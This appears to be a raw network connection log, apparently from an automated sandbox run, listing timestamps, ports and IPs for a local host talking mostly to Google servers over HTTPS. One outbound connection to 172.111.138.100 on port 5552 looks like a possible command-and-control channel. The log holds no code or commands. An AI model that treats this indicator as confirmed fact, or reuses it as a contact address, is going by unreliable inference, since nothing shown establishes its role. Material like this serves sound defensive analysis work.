Dec 30, 2024 11:24:24.664787054 CET	49802	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:24.664830923 CET	443	49802	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:24.664977074 CET	443	49802	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:24.665041924 CET	49802	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:24.665041924 CET	49802	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:24.665664911 CET	49813	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:24.665703058 CET	443	49813	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:24.665813923 CET	49813	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:24.666145086 CET	49813	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:24.666160107 CET	443	49813	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:24.722439051 CET	443	49805	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:24.722465992 CET	443	49805	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:24.722491980 CET	49805	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:24.722506046 CET	443	49805	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:24.722584009 CET	49805	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:24.722584009 CET	49805	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:24.722592115 CET	443	49805	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:24.722608089 CET	443	49805	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:24.723237038 CET	49805	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:24.736910105 CET	49805	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:24.736927986 CET	443	49805	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:24.737679005 CET	49814	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:24.737704039 CET	443	49814	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:24.738828897 CET	49814	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:24.739557981 CET	49814	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:24.739572048 CET	443	49814	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:24.787322044 CET	443	49803	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:24.787599087 CET	49803	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:24.787610054 CET	443	49803	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:24.787703991 CET	49803	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:24.787703991 CET	49803	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:24.787741899 CET	443	49803	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:24.787880898 CET	49803	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:24.787894964 CET	443	49803	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:24.787951946 CET	49803	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:24.788481951 CET	49816	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:24.788526058 CET	443	49816	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:24.788764954 CET	49816	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:24.788877964 CET	49816	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:24.788887978 CET	443	49816	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:24.910783052 CET	443	49804	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:24.910842896 CET	443	49804	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:24.910877943 CET	49804	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:24.910906076 CET	443	49804	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:24.910945892 CET	443	49804	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:24.910948992 CET	49804	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:24.910948992 CET	49804	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:24.911025047 CET	49804	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:24.913810015 CET	49804	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:24.913839102 CET	443	49804	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:24.914549112 CET	49817	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:24.914576054 CET	443	49817	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:24.915754080 CET	49817	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:24.916188955 CET	49817	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:24.916202068 CET	443	49817	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:25.286777020 CET	443	49813	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:25.286932945 CET	49813	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:25.287627935 CET	443	49813	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:25.287699938 CET	49813	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:25.298480034 CET	49813	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:25.298496962 CET	443	49813	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:25.298743010 CET	443	49813	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:25.298825979 CET	49813	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:25.300523043 CET	49813	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:25.343333960 CET	443	49813	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:25.368134975 CET	443	49814	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:25.368446112 CET	49814	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:25.370052099 CET	49814	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:25.370058060 CET	443	49814	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:25.370464087 CET	49814	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:25.370469093 CET	443	49814	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:25.397507906 CET	443	49816	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:25.397773027 CET	49816	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:25.398564100 CET	443	49816	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:25.398636103 CET	49816	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:25.403861046 CET	49816	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:25.403896093 CET	443	49816	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:25.404256105 CET	443	49816	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:25.404330015 CET	49816	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:25.409532070 CET	49816	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:25.455338001 CET	443	49816	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:25.544673920 CET	443	49817	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:25.544909000 CET	49817	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:25.545238018 CET	49817	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:25.545248985 CET	443	49817	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:25.545521975 CET	49817	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:25.545526981 CET	443	49817	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:25.669132948 CET	443	49813	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:25.669224024 CET	443	49813	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:25.669260025 CET	49813	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:25.669281006 CET	49813	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:25.777980089 CET	443	49816	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:25.778299093 CET	49816	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:25.778338909 CET	443	49816	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:25.778392076 CET	49816	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:25.778990030 CET	443	49816	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:25.779036999 CET	49816	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:25.779040098 CET	443	49816	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:25.779082060 CET	49816	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:25.782876968 CET	443	49814	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:25.782923937 CET	443	49814	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:25.782983065 CET	49814	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:25.782999992 CET	443	49814	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:25.783046007 CET	49814	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:25.783051968 CET	443	49814	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:25.783063889 CET	443	49814	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:25.783099890 CET	49814	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:25.783112049 CET	49814	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:25.818847895 CET	49813	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:25.818891048 CET	443	49813	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:25.823551893 CET	49824	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:25.823599100 CET	443	49824	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:25.823688984 CET	49824	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:25.827817917 CET	49824	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:25.827840090 CET	443	49824	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:25.863034964 CET	49814	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:25.863058090 CET	443	49814	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:25.867481947 CET	49816	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:25.867520094 CET	443	49816	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:25.963700056 CET	443	49817	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:25.963743925 CET	443	49817	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:25.963768005 CET	49817	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:25.963798046 CET	443	49817	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:25.963814974 CET	49817	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:25.963845015 CET	49817	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:25.963851929 CET	443	49817	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:25.963872910 CET	443	49817	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:25.963888884 CET	49817	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:25.963911057 CET	49817	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:26.035048962 CET	49825	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:26.035103083 CET	443	49825	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:26.035222054 CET	49825	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:26.035367966 CET	49826	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:26.035379887 CET	443	49826	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:26.035619974 CET	49826	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:26.042675018 CET	49825	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:26.042695999 CET	443	49825	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:26.043045044 CET	49826	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:26.043056011 CET	443	49826	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:26.044258118 CET	49817	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:26.044286013 CET	443	49817	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:26.059284925 CET	49828	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:26.059294939 CET	443	49828	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:26.059401035 CET	49828	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:26.059704065 CET	49828	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:26.059720039 CET	443	49828	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:26.426552057 CET	443	49824	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:26.426655054 CET	49824	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:26.427398920 CET	49824	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:26.427460909 CET	443	49824	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:26.429887056 CET	49824	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:26.429893017 CET	443	49824	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:26.641254902 CET	443	49826	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:26.641957998 CET	49826	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:26.657648087 CET	49826	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:26.657658100 CET	443	49826	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:26.660059929 CET	49826	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:26.660064936 CET	443	49826	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:26.662045002 CET	443	49825	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:26.662125111 CET	49825	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:26.662571907 CET	49825	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:26.662575960 CET	443	49825	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:26.665097952 CET	49825	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:26.665103912 CET	443	49825	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:26.686573029 CET	443	49828	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:26.686631918 CET	49828	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:26.686899900 CET	49828	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:26.686908960 CET	443	49828	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:26.687041998 CET	49828	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:26.687047005 CET	443	49828	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:26.806878090 CET	443	49824	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:26.807008028 CET	49824	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:26.807018995 CET	443	49824	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:26.807060957 CET	49824	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:26.807794094 CET	443	49824	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:26.807841063 CET	443	49824	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:26.807898045 CET	49824	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:26.810496092 CET	49824	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:26.810511112 CET	443	49824	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:26.811182022 CET	49836	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:26.811207056 CET	443	49836	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:26.811294079 CET	49836	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:26.811928988 CET	49836	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:26.811943054 CET	443	49836	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:27.033325911 CET	443	49825	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:27.033399105 CET	49825	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:27.033421040 CET	443	49825	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:27.033463001 CET	49825	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:27.034137964 CET	443	49825	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:27.034225941 CET	49825	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:27.034261942 CET	443	49825	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:27.034315109 CET	49825	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:27.041332960 CET	49825	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:27.041347027 CET	443	49825	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:27.041965008 CET	49839	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:27.042005062 CET	443	49839	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:27.042077065 CET	49839	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:27.042282104 CET	49839	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:27.042300940 CET	443	49839	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:27.059546947 CET	443	49826	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:27.059603930 CET	443	49826	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:27.059612036 CET	49826	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:27.059623003 CET	443	49826	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:27.059649944 CET	49826	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:27.059689999 CET	49826	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:27.059695959 CET	443	49826	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:27.059706926 CET	443	49826	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:27.059734106 CET	49826	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:27.059748888 CET	49826	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:27.060357094 CET	49826	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:27.060363054 CET	443	49826	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:27.060759068 CET	49840	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:27.060796976 CET	443	49840	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:27.060880899 CET	49840	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:27.061109066 CET	49840	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:27.061142921 CET	443	49840	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:27.219968081 CET	443	49828	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:27.220092058 CET	443	49828	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:27.220101118 CET	49828	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:27.220127106 CET	443	49828	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:27.220180988 CET	49828	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:27.220187902 CET	443	49828	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:27.220217943 CET	443	49828	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:27.220289946 CET	49828	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:27.235904932 CET	49828	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:27.235928059 CET	443	49828	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:27.236763954 CET	49842	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:27.236807108 CET	443	49842	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:27.237639904 CET	49842	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:27.238409042 CET	49842	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:27.238424063 CET	443	49842	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:27.412235022 CET	443	49836	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:27.412306070 CET	49836	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:27.412687063 CET	49836	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:27.412703037 CET	443	49836	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:27.424740076 CET	49839	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:27.424762964 CET	49840	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:27.424779892 CET	49842	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:27.427426100 CET	49845	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:27.427457094 CET	443	49845	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:27.427561045 CET	49845	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:27.432585955 CET	49845	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:27.432600021 CET	443	49845	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:27.434693098 CET	49836	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:27.434698105 CET	443	49836	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:27.772684097 CET	49850	5552	192.168.2.6	172.111.138.100
Dec 30, 2024 11:24:27.777514935 CET	5552	49850	172.111.138.100	192.168.2.6
Dec 30, 2024 11:24:27.777671099 CET	49850	5552	192.168.2.6	172.111.138.100
Dec 30, 2024 11:24:27.777887106 CET	49850	5552	192.168.2.6	172.111.138.100
Dec 30, 2024 11:24:27.782624006 CET	5552	49850	172.111.138.100	192.168.2.6
Dec 30, 2024 11:24:27.783277035 CET	443	49836	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:27.783385038 CET	49836	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:27.783396959 CET	443	49836	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:27.783546925 CET	49836	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:27.783632040 CET	49836	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:27.783668041 CET	443	49836	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:27.783809900 CET	443	49836	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:27.783860922 CET	49836	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:27.783860922 CET	49836	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:27.925461054 CET	49852	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:27.925493002 CET	443	49852	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:27.925852060 CET	49852	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:27.927004099 CET	49852	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:27.927016973 CET	443	49852	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:27.927460909 CET	49853	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:27.927469015 CET	443	49853	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:27.927536964 CET	49853	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:27.927839041 CET	49853	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:27.927848101 CET	443	49853	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:28.028886080 CET	443	49845	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:28.028959036 CET	49845	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:28.029858112 CET	443	49845	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:28.029946089 CET	49845	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:28.033890963 CET	49845	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:28.033901930 CET	443	49845	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:28.034249067 CET	443	49845	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:28.034310102 CET	49845	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:28.034671068 CET	49845	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:28.079338074 CET	443	49845	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:28.393373966 CET	443	49845	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:28.393452883 CET	49845	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:28.393470049 CET	443	49845	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:28.393511057 CET	49845	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:28.393589973 CET	49845	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:28.393627882 CET	443	49845	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:28.393675089 CET	49845	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:28.394237995 CET	49858	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:28.394273996 CET	443	49858	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:28.394478083 CET	49858	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:28.394547939 CET	49859	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:28.394555092 CET	443	49859	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:28.394599915 CET	49859	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:28.395057917 CET	49858	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:28.395066977 CET	443	49858	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:28.395256042 CET	49859	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:28.395267963 CET	443	49859	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:28.535130024 CET	443	49852	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:28.535339117 CET	49852	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:28.535923004 CET	443	49852	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:28.535989046 CET	49852	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:28.548441887 CET	443	49853	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:28.548508883 CET	49853	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:28.564599037 CET	49852	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:28.564640999 CET	443	49852	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:28.564930916 CET	443	49852	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:28.564981937 CET	49852	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:28.565778017 CET	49852	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:28.568591118 CET	49853	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:28.568619013 CET	443	49853	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:28.568896055 CET	443	49853	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:28.568953037 CET	49853	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:28.571675062 CET	49853	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:28.611334085 CET	443	49852	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:28.619337082 CET	443	49853	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:28.911166906 CET	443	49852	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:28.911232948 CET	49852	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:28.911251068 CET	443	49852	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:28.911287069 CET	49852	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:28.912461042 CET	443	49852	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:28.912508011 CET	443	49852	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:28.912508011 CET	49852	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:28.912596941 CET	49852	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:28.914647102 CET	49852	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:28.914664984 CET	443	49852	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:28.915224075 CET	49861	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:28.915265083 CET	443	49861	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:28.915498018 CET	49861	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:28.956183910 CET	443	49853	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:28.956224918 CET	443	49853	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:28.956289053 CET	49853	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:28.956300974 CET	443	49853	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:28.956316948 CET	443	49853	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:28.956342936 CET	49853	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:28.956372023 CET	49853	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:28.994292021 CET	443	49858	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:28.994383097 CET	49858	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:28.994443893 CET	443	49859	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:28.994508982 CET	49859	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:28.995271921 CET	443	49859	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:28.995340109 CET	49859	443	192.168.2.6	142.250.186.46
